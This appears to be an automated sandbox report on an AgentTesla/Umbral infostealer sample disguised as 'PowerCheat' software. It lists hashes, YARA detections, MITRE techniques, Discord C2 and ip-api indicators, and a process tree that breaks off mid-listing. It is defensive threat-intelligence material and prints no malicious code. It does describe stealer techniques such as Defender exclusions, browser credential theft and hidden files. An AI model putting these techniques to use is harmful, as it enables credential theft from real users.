agenttesla | 31a13807659b75ab5dfd25e097f727705bdbdc9a6d61a8673df2510aa04110d0

Analysis

max time kernel
64s
max time network
194s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
12-06-2024 17:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

elements.exp
Size

339B
MD5

21d2e6e281398404012724a6e8f3242d
SHA1

11ca6bd4edb1466712e10c57c02c5a1cc3475176
SHA256

31a13807659b75ab5dfd25e097f727705bdbdc9a6d61a8673df2510aa04110d0
SHA512

3b2ab9dc7cc615a9b61bd421d416845748ad18c38bc31663496d3f54314538a480cc6b0ec1a976f7e66e9382fae5b6db97fce20c7ef5bb85f929da16755251fe

Score

10^/10

agenttesla umbral execution keylogger spyware stealer trojan

Malware Config

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000400000002301d-528.dat	family_umbral
behavioral1/memory/3816-536-0x000001FC7E660000-0x000001FC7E6A0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

AgentTesla payload 1 IoCs

resource	yara_rule
behavioral1/memory/5896-524-0x0000012ABED50000-0x0000012ABEF64000-memory.dmp	family_agenttesla

Command and Scripting Interpreter: PowerShell 1 TTPs 23 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4696	powershell.exe
3944	powershell.exe
6268	powershell.exe
372	powershell.exe
5952	powershell.exe
6612	Process not Found
4696	powershell.exe
2192	powershell.exe
6744	powershell.exe
1116	powershell.exe
6512	powershell.exe
4612	powershell.exe
820	Process not Found
5564	powershell.exe
3932	powershell.exe
6020	powershell.exe
7076	powershell.exe
2764	powershell.exe
1996	powershell.exe
1048	Process not Found
1920	Process not Found
6588	powershell.exe
6788	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	HiderLdPlayer.exe

Checks computer location settings 2 TTPs 14 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation	PowerCheatEmuHider.exe
Key value queried	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation	PowerCheatEmuHider.exe
Key value queried	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation	PowerCheat free.exe
Key value queried	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation	PowerCheatEmuHider.exe
Key value queried	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation	PowerCheatEmuHider.exe
Key value queried	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation	PowerCheatEmuHider.exe
Key value queried	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation	PowerCheatEmuHider.exe
Key value queried	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation	PowerCheatEmuHider.exe
Key value queried	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation	PowerCheatEmuHider.exe
Key value queried	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation	PowerCheatEmuHider.exe
Key value queried	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation	PowerCheatEmuHider.exe
Key value queried	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation	PowerCheatEmuHider.exe
Key value queried	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation	PowerCheatEmuHider.exe
Key value queried	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation	PowerCheatEmuHider.exe

Executes dropped EXE 27 IoCs

pid	Process
5860	PowerCheat free.exe
5896	PowerCheat_free.exe
6024	PowerCheatEmuHider.exe
3636	PowerCheatEmuHider.exe
3816	HiderLdPlayer.exe
3144	PowerCheatEmuHider.exe
5188	HiderLdPlayer.exe
5824	PowerCheatEmuHider.exe
5848	HiderLdPlayer.exe
1232	PowerCheatEmuHider.exe
3900	HiderLdPlayer.exe
6156	PowerCheatEmuHider.exe
6520	HiderLdPlayer.exe
6700	PowerCheatEmuHider.exe
6804	HiderLdPlayer.exe
6980	PowerCheatEmuHider.exe
7128	HiderLdPlayer.exe
544	PowerCheatEmuHider.exe
3932	HiderLdPlayer.exe
5856	PowerCheatEmuHider.exe
5800	HiderLdPlayer.exe
6656	PowerCheatEmuHider.exe
6316	HiderLdPlayer.exe
6880	PowerCheatEmuHider.exe
6840	HiderLdPlayer.exe
6872	PowerCheatEmuHider.exe
7136	HiderLdPlayer.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 46 IoCs

Web Service

T1102

flow	ioc
463	discord.com
502	discord.com
531	discord.com
532	discord.com
545	discord.com
561	discord.com
569	discord.com
436	discord.com
577	discord.com
447	discord.com
455	discord.com
538	discord.com
576	discord.com
584	discord.com
376	discord.com
448	discord.com
495	discord.com
562	discord.com
377	discord.com
503	discord.com
568	discord.com
496	discord.com
385	discord.com
454	discord.com
469	discord.com
482	discord.com
511	discord.com
350	discord.com
364	discord.com
384	discord.com
435	discord.com
470	discord.com
488	discord.com
489	discord.com
525	discord.com
363	discord.com
427	discord.com
428	discord.com
462	discord.com
481	discord.com
509	discord.com
524	discord.com
539	discord.com
349	discord.com
583	discord.com
546	discord.com

Looks up external IP address via web service 23 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
535	ip-api.com
542	ip-api.com
549	ip-api.com
321	ip-api.com
432	ip-api.com
520	ip-api.com
580	ip-api.com
373	ip-api.com
409	ip-api.com
444	ip-api.com
499	ip-api.com
565	ip-api.com
572	ip-api.com
360	ip-api.com
381	ip-api.com
466	ip-api.com
478	ip-api.com
485	ip-api.com
492	ip-api.com
506	ip-api.com
528	ip-api.com
451	ip-api.com
459	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Detects videocard installed 1 TTPs 23 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3600	wmic.exe
6788	wmic.exe
6824	wmic.exe
6748	wmic.exe
6772	wmic.exe
3204	wmic.exe
6416	wmic.exe
6864	wmic.exe
6552	Process not Found
1256	wmic.exe
6692	wmic.exe
4344	wmic.exe
7096	Process not Found
5108	wmic.exe
5288	wmic.exe
900	wmic.exe
7144	wmic.exe
4524	wmic.exe
5320	Process not Found
6244	Process not Found
4184	Process not Found
1080	wmic.exe
6600	wmic.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	PowerCheat_free.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	PowerCheat_free.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	PowerCheat_free.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000_Classes\Local Settings	firefox.exe

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\Downloads\PowerCheat free.exe:Zone.Identifier	firefox.exe

Runs ping.exe 1 TTPs 23 IoCs

Remote System Discovery

T1018

pid	Process
6300	PING.EXE
3620	PING.EXE
5288	PING.EXE
6852	PING.EXE
3060	PING.EXE
5320	Process not Found
6204	PING.EXE
6464	PING.EXE
3836	PING.EXE
4968	PING.EXE
2980	Process not Found
6840	Process not Found
6492	PING.EXE
2764	PING.EXE
1756	Process not Found
5964	Process not Found
404	PING.EXE
6268	PING.EXE
2564	PING.EXE
6512	PING.EXE
5680	PING.EXE
5952	PING.EXE
2980	PING.EXE

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
3816	HiderLdPlayer.exe
3816	HiderLdPlayer.exe
5896	PowerCheat_free.exe
5896	PowerCheat_free.exe
5896	PowerCheat_free.exe
5564	powershell.exe
5564	powershell.exe
5564	powershell.exe
5896	PowerCheat_free.exe
5896	PowerCheat_free.exe
5848	powershell.exe
5848	powershell.exe
5848	powershell.exe
1040	msedge.exe
1040	msedge.exe
2740	msedge.exe
2740	msedge.exe
5896	PowerCheat_free.exe
5896	PowerCheat_free.exe
5896	PowerCheat_free.exe
5896	PowerCheat_free.exe
5896	PowerCheat_free.exe
6680	powershell.exe
6680	powershell.exe
6680	powershell.exe
4660	powershell.exe
4660	powershell.exe
4660	powershell.exe
5896	PowerCheat_free.exe
5896	PowerCheat_free.exe
5896	PowerCheat_free.exe
5896	PowerCheat_free.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
660	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4828	firefox.exe
Token: SeDebugPrivilege	4828	firefox.exe
Token: SeDebugPrivilege	5896	PowerCheat_free.exe
Token: SeDebugPrivilege	3816	HiderLdPlayer.exe
Token: SeIncreaseQuotaPrivilege	2228	wmic.exe
Token: SeSecurityPrivilege	2228	wmic.exe
Token: SeTakeOwnershipPrivilege	2228	wmic.exe
Token: SeLoadDriverPrivilege	2228	wmic.exe
Token: SeSystemProfilePrivilege	2228	wmic.exe
Token: SeSystemtimePrivilege	2228	wmic.exe
Token: SeProfSingleProcessPrivilege	2228	wmic.exe
Token: SeIncBasePriorityPrivilege	2228	wmic.exe
Token: SeCreatePagefilePrivilege	2228	wmic.exe
Token: SeBackupPrivilege	2228	wmic.exe
Token: SeRestorePrivilege	2228	wmic.exe
Token: SeShutdownPrivilege	2228	wmic.exe
Token: SeDebugPrivilege	2228	wmic.exe
Token: SeSystemEnvironmentPrivilege	2228	wmic.exe
Token: SeRemoteShutdownPrivilege	2228	wmic.exe
Token: SeUndockPrivilege	2228	wmic.exe
Token: SeManageVolumePrivilege	2228	wmic.exe
Token: 33	2228	wmic.exe
Token: 34	2228	wmic.exe
Token: 35	2228	wmic.exe
Token: 36	2228	wmic.exe
Token: SeIncreaseQuotaPrivilege	2228	wmic.exe
Token: SeSecurityPrivilege	2228	wmic.exe
Token: SeTakeOwnershipPrivilege	2228	wmic.exe
Token: SeLoadDriverPrivilege	2228	wmic.exe
Token: SeSystemProfilePrivilege	2228	wmic.exe
Token: SeSystemtimePrivilege	2228	wmic.exe
Token: SeProfSingleProcessPrivilege	2228	wmic.exe
Token: SeIncBasePriorityPrivilege	2228	wmic.exe
Token: SeCreatePagefilePrivilege	2228	wmic.exe
Token: SeBackupPrivilege	2228	wmic.exe
Token: SeRestorePrivilege	2228	wmic.exe
Token: SeShutdownPrivilege	2228	wmic.exe
Token: SeDebugPrivilege	2228	wmic.exe
Token: SeSystemEnvironmentPrivilege	2228	wmic.exe
Token: SeRemoteShutdownPrivilege	2228	wmic.exe
Token: SeUndockPrivilege	2228	wmic.exe
Token: SeManageVolumePrivilege	2228	wmic.exe
Token: 33	2228	wmic.exe
Token: 34	2228	wmic.exe
Token: 35	2228	wmic.exe
Token: 36	2228	wmic.exe
Token: SeDebugPrivilege	5564	powershell.exe
Token: SeDebugPrivilege	5848	powershell.exe
Token: SeDebugPrivilege	6680	powershell.exe
Token: SeDebugPrivilege	4660	powershell.exe
Token: SeIncreaseQuotaPrivilege	6996	wmic.exe
Token: SeSecurityPrivilege	6996	wmic.exe
Token: SeTakeOwnershipPrivilege	6996	wmic.exe
Token: SeLoadDriverPrivilege	6996	wmic.exe
Token: SeSystemProfilePrivilege	6996	wmic.exe
Token: SeSystemtimePrivilege	6996	wmic.exe
Token: SeProfSingleProcessPrivilege	6996	wmic.exe
Token: SeIncBasePriorityPrivilege	6996	wmic.exe
Token: SeCreatePagefilePrivilege	6996	wmic.exe
Token: SeBackupPrivilege	6996	wmic.exe
Token: SeRestorePrivilege	6996	wmic.exe
Token: SeShutdownPrivilege	6996	wmic.exe
Token: SeDebugPrivilege	6996	wmic.exe
Token: SeSystemEnvironmentPrivilege	6996	wmic.exe

Suspicious use of FindShellTrayWindow 29 IoCs

pid	Process
4828	firefox.exe
4828	firefox.exe
4828	firefox.exe
4828	firefox.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe

Suspicious use of SendNotifyMessage 27 IoCs

pid	Process
4828	firefox.exe
4828	firefox.exe
4828	firefox.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe
2740	msedge.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2436	OpenWith.exe
4828	firefox.exe
4828	firefox.exe
4828	firefox.exe
4828	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2936 wrote to memory of 4828	2936	firefox.exe	90
PID 2936 wrote to memory of 4828	2936	firefox.exe	90
PID 2936 wrote to memory of 4828	2936	firefox.exe	90
PID 2936 wrote to memory of 4828	2936	firefox.exe	90
PID 2936 wrote to memory of 4828	2936	firefox.exe	90
PID 2936 wrote to memory of 4828	2936	firefox.exe	90
PID 2936 wrote to memory of 4828	2936	firefox.exe	90
PID 2936 wrote to memory of 4828	2936	firefox.exe	90
PID 2936 wrote to memory of 4828	2936	firefox.exe	90
PID 2936 wrote to memory of 4828	2936	firefox.exe	90
PID 2936 wrote to memory of 4828	2936	firefox.exe	90
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2308	4828	firefox.exe	91
PID 4828 wrote to memory of 2224	4828	firefox.exe	92
PID 4828 wrote to memory of 2224	4828	firefox.exe	92
PID 4828 wrote to memory of 2224	4828	firefox.exe	92
PID 4828 wrote to memory of 2224	4828	firefox.exe	92
PID 4828 wrote to memory of 2224	4828	firefox.exe	92
PID 4828 wrote to memory of 2224	4828	firefox.exe	92
PID 4828 wrote to memory of 2224	4828	firefox.exe	92
PID 4828 wrote to memory of 2224	4828	firefox.exe	92
PID 4828 wrote to memory of 2224	4828	firefox.exe	92
PID 4828 wrote to memory of 2224	4828	firefox.exe	92

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 23 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
7116	attrib.exe
2416	attrib.exe
5112	attrib.exe
7084	attrib.exe
1920	attrib.exe
7016	attrib.exe
5964	Process not Found
5960	Process not Found
5036	attrib.exe
6880	attrib.exe
3928	attrib.exe
6132	attrib.exe
4380	attrib.exe
4824	attrib.exe
6740	attrib.exe
3980	attrib.exe
7044	attrib.exe
2440	attrib.exe
2196	Process not Found
7008	attrib.exe
2592	Process not Found
4524	attrib.exe
6840	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\elements.exp
1⤵
- Modifies registry class
PID:4152

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2436

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2936
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - NTFS ADS
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4828
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4828.0.366085307\688833909" -parentBuildID 20230214051806 -prefsHandle 1760 -prefMapHandle 1752 -prefsLen 22076 -prefMapSize 235121 -appDir "C:\Program Files\Mozilla Firefox\browser" - {49819a5c-507c-4595-9db6-6edbb0f1c1e1} 4828 "\\.\pipe\gecko-crash-server-pipe.4828" 1852 28af0c0cb58 gpu
    3⤵
    PID:2308
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4828.1.944453049\1995671286" -parentBuildID 20230214051806 -prefsHandle 2392 -prefMapHandle 2388 -prefsLen 22112 -prefMapSize 235121 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6ee2a48b-91f0-4beb-9641-1b7c803e33b3} 4828 "\\.\pipe\gecko-crash-server-pipe.4828" 2416 28ae3d8ae58 socket
    3⤵
    PID:2224
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4828.2.807627887\1331619510" -childID 1 -isForBrowser -prefsHandle 2872 -prefMapHandle 2912 -prefsLen 22215 -prefMapSize 235121 -jsInitHandle 1288 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {876da24a-aee6-420a-84fe-e67c5e9ef3b0} 4828 "\\.\pipe\gecko-crash-server-pipe.4828" 3036 28af3708558 tab
    3⤵
    PID:320
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4828.3.102754992\1393564359" -childID 2 -isForBrowser -prefsHandle 3872 -prefMapHandle 3868 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1288 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {38c041bd-5714-46e9-a142-5a9c9aefd34a} 4828 "\\.\pipe\gecko-crash-server-pipe.4828" 3884 28af56eae58 tab
    3⤵
    PID:2212
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4828.4.1007493914\1018867495" -childID 3 -isForBrowser -prefsHandle 5016 -prefMapHandle 5032 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1288 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1fc78e78-024a-46a4-8206-c5f6db9c2c53} 4828 "\\.\pipe\gecko-crash-server-pipe.4828" 5052 28af7f3a258 tab
    3⤵
    PID:1128
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4828.5.28061997\356594222" -childID 4 -isForBrowser -prefsHandle 5324 -prefMapHandle 5320 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1288 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3d46ed20-e416-49d5-9928-9fb003ab5cdb} 4828 "\\.\pipe\gecko-crash-server-pipe.4828" 5332 28af7f38d58 tab
    3⤵
    PID:4368
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4828.6.1206839349\1201560154" -childID 5 -isForBrowser -prefsHandle 5476 -prefMapHandle 5484 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1288 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3b59ec4a-9503-4e95-9e8e-8f530e38daa2} 4828 "\\.\pipe\gecko-crash-server-pipe.4828" 5468 28af7f3ab58 tab
    3⤵
    PID:5080
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4828.7.1637403578\881903388" -childID 6 -isForBrowser -prefsHandle 5856 -prefMapHandle 5864 -prefsLen 27776 -prefMapSize 235121 -jsInitHandle 1288 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {88b0529c-fa7a-46ca-bd27-58313083a352} 4828 "\\.\pipe\gecko-crash-server-pipe.4828" 5840 28af9b4cb58 tab
    3⤵
    PID:3352
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4828.8.888948920\720653812" -childID 7 -isForBrowser -prefsHandle 9828 -prefMapHandle 9832 -prefsLen 27776 -prefMapSize 235121 -jsInitHandle 1288 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bb957e85-3302-4d3b-a66b-5face77b0ed2} 4828 "\\.\pipe\gecko-crash-server-pipe.4828" 9804 28aeffb0658 tab
    3⤵
    PID:5852
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4828.9.2003731149\27172208" -childID 8 -isForBrowser -prefsHandle 9772 -prefMapHandle 9684 -prefsLen 27776 -prefMapSize 235121 -jsInitHandle 1288 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4a2ebec8-b2c0-444c-a62c-530112037b53} 4828 "\\.\pipe\gecko-crash-server-pipe.4828" 9648 28aeffb1b58 tab
    3⤵
    PID:5860
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4828.10.1556129039\862370453" -childID 9 -isForBrowser -prefsHandle 9384 -prefMapHandle 9388 -prefsLen 27776 -prefMapSize 235121 -jsInitHandle 1288 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c34abae2-a1dc-4527-adce-1c94d568a123} 4828 "\\.\pipe\gecko-crash-server-pipe.4828" 9472 28aeffaf458 tab
    3⤵
    PID:5868
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4828.11.149148807\532716151" -childID 10 -isForBrowser -prefsHandle 5608 -prefMapHandle 5604 -prefsLen 27776 -prefMapSize 235121 -jsInitHandle 1288 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {edd3241d-7789-4105-b9dc-ee32d0b5bb8d} 4828 "\\.\pipe\gecko-crash-server-pipe.4828" 5596 28af7f37858 tab
    3⤵
    PID:6108
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4828.12.756841565\163854027" -childID 11 -isForBrowser -prefsHandle 5616 -prefMapHandle 4860 -prefsLen 28041 -prefMapSize 235121 -jsInitHandle 1288 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9f6e3e4d-7c33-4888-af2e-5228ab92126e} 4828 "\\.\pipe\gecko-crash-server-pipe.4828" 9404 28af56ea258 tab
    3⤵
    PID:5788
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4828.13.1434841764\1385885324" -childID 12 -isForBrowser -prefsHandle 9560 -prefMapHandle 9544 -prefsLen 28041 -prefMapSize 235121 -jsInitHandle 1288 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2d724a62-c08c-4962-9d4d-0e23d05698bc} 4828 "\\.\pipe\gecko-crash-server-pipe.4828" 9572 28af632f858 tab
    3⤵
    PID:5772
- - C:\Program Files\Mozilla Firefox\firefox.exe
